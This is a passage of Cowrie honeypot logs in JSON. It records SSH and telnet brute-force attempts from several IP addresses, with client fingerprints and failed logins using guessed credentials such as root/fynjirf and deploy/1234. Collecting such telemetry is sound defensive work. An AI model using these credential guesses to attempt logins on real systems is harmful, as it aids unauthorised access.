1@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:38.021948Z","src_ip":"45.156.87.204","session":"d6d331fe29aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:38.269070Z","src_ip":"45.156.87.204","session":"d6d331fe29aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:39.355015Z","src_ip":"45.156.87.204","session":"d6d331fe29aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55738,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ce8650fde18","protocol":"ssh","message":"New connection: 45.156.87.204:55738 (159.203.135.109:22) [session: 0ce8650fde18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:41.568844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:41.577910Z","src_ip":"45.156.87.204","session":"0ce8650fde18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:41.665600Z","src_ip":"45.156.87.204","session":"0ce8650fde18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:41.914773Z","src_ip":"45.156.87.204","session":"0ce8650fde18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":52060,"dst_ip":"159.203.135.109","dst_port":22,"session":"83dd2b803b30","protocol":"ssh","message":"New connection: 87.251.79.125:52060 (159.203.135.109:22) [session: 83dd2b803b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:42.937584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:42.942684Z","src_ip":"87.251.79.125","session":"83dd2b803b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:42.999711Z","src_ip":"45.156.87.204","session":"0ce8650fde18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:43.016449Z","src_ip":"87.251.79.125","session":"83dd2b803b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.17177128791809,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:43.084521Z","src_ip":"152.42.224.71","session":"465065079095","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"fynjirf","message":"login attempt [root/fynjirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:43.236765Z","src_ip":"87.251.79.125","session":"83dd2b803b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:44.313388Z","src_ip":"87.251.79.125","session":"83dd2b803b30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49770,"dst_ip":"159.203.135.109","dst_port":22,"session":"af6aa3739628","protocol":"ssh","message":"New connection: 45.156.87.204:49770 (159.203.135.109:22) [session: af6aa3739628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:45.048936Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48868,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad1778076c6d","protocol":"telnet","message":"New connection: 152.42.224.71:48868 (10.17.0.5:23) [session: ad1778076c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:45.081246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:45.243961Z","src_ip":"45.156.87.204","session":"af6aa3739628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:45.249835Z","src_ip":"45.156.87.204","session":"af6aa3739628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:45.639477Z","src_ip":"45.156.87.204","session":"af6aa3739628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":46730,"dst_ip":"159.203.135.109","dst_port":22,"session":"3da6b36bc11e","protocol":"ssh","message":"New connection: 83.111.76.195:46730 (159.203.135.109:22) [session: 3da6b36bc11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:46.546022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:46.551481Z","src_ip":"83.111.76.195","session":"3da6b36bc11e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:46.724396Z","src_ip":"45.156.87.204","session":"af6aa3739628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:46.751602Z","src_ip":"83.111.76.195","session":"3da6b36bc11e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ppp","password":"ppp","message":"login attempt [ppp/ppp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:47.583039Z","src_ip":"83.111.76.195","session":"3da6b36bc11e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:48.785462Z","src_ip":"83.111.76.195","session":"3da6b36bc11e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49772,"dst_ip":"159.203.135.109","dst_port":22,"session":"201f6ab6e2ab","protocol":"ssh","message":"New connection: 45.156.87.204:49772 (159.203.135.109:22) [session: 201f6ab6e2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:48.812501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:48.816845Z","src_ip":"45.156.87.204","session":"201f6ab6e2ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:48.901673Z","src_ip":"45.156.87.204","session":"201f6ab6e2ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:49.147861Z","src_ip":"45.156.87.204","session":"201f6ab6e2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:50.232389Z","src_ip":"45.156.87.204","session":"201f6ab6e2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.91244292259216,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:51.634877Z","src_ip":"152.42.224.71","session":"4bfc1395d3f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49774,"dst_ip":"159.203.135.109","dst_port":22,"session":"8104687683ab","protocol":"ssh","message":"New connection: 45.156.87.204:49774 (159.203.135.109:22) [session: 8104687683ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:52.231767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:52.334830Z","src_ip":"45.156.87.204","session":"8104687683ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:52.339637Z","src_ip":"45.156.87.204","session":"8104687683ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:52.945792Z","src_ip":"45.156.87.204","session":"8104687683ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:54.031447Z","src_ip":"45.156.87.204","session":"8104687683ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52040,"dst_ip":"10.17.0.5","dst_port":23,"session":"744d4e788cbd","protocol":"telnet","message":"New connection: 152.42.224.71:52040 (10.17.0.5:23) [session: 744d4e788cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:55.049227Z"}
{"eventid":"cowrie.session.closed","duration":35.865909576416016,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:56.193579Z","src_ip":"152.42.224.71","session":"685d3c3d2966","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39814,"dst_ip":"159.203.135.109","dst_port":22,"session":"2251430ec3af","protocol":"ssh","message":"New connection: 45.156.87.204:39814 (159.203.135.109:22) [session: 2251430ec3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:56.220843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:56.225809Z","src_ip":"45.156.87.204","session":"2251430ec3af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:56.308319Z","src_ip":"45.156.87.204","session":"2251430ec3af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:56.555904Z","src_ip":"45.156.87.204","session":"2251430ec3af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":45238,"dst_ip":"159.203.135.109","dst_port":22,"session":"427f6281f640","protocol":"ssh","message":"New connection: 119.28.114.76:45238 (159.203.135.109:22) [session: 427f6281f640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:56.802046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:56.807137Z","src_ip":"119.28.114.76","session":"427f6281f640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","h